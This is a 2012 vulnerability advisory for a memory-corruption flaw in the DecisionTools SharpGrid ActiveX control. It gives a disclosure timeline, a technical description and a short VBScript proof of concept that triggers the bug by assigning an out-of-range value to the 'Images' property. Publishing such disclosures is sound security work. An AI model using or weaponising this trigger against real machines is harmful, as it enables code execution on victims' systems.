DecisionTools SharpGrid - ActiveX Control Remote Code Execution

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Application:   DecisionTools SharpGrid ActiveX Control Code Execution Vulnerability
Platforms:     Windows 
Secunia:       SA48571  
Date:          2012-05-09
Author:        Francis Provencher (Protek Research Lab's) 
Website:       http://www.protekresearchlab.com/
Twitter:       @ProtekResearch

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1) Introduction
2) Report Timeline
3) Technical details
4) POC


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===============
1) Introduction
===============
The DecisionTools Suite is an integrated set of programs for risk analysis and decision making
under uncertainty that runs in Microsoft Excel. The DecisionTools Suite includes @RISK for
Monte Carlo simulation, PrecisionTree for decision trees, and TopRank for “what if” sensitivity analysis.
In addition, the DecisionTools Suite comes with StatTools for statistical analysis and forecasting,
NeuralTools for predictive neural networks, and Evolver and RISKOptimizer for optimization.
All programs work together better than ever before, and all integrate completely with
Microsoft Excel for ease of use and maximum flexibility.
 
http://www.palisade.com/decisiontools_suite/
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2) Report Timeline
============================

2012-03-26  Vulnerability reported to Secunia
2012-05-09  Publication of this advisory 


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============================
3) Technical details
============================
 
The vulnerability is caused due to the "Images" property in the SharpGrid ActiveX control
insecurely using the assigned value as an image list pointer and can be exploited to call a
virtual function within an arbitrary memory location.
 

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===========
4) POC
===========

<object classid='clsid:5BAADB36-D13B-4708-B8E6-7FACF1BF6783' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\Common Files\Data Dynamics\Sharpgrid\sg20u.ocx"
prototype  = "Property Let Images As Long"
memberName = "Images"
progid     = "DDSharpGrid2U.SGGrid"
argCount   = 1
arg1=2147483647
target.Images = arg1

</script>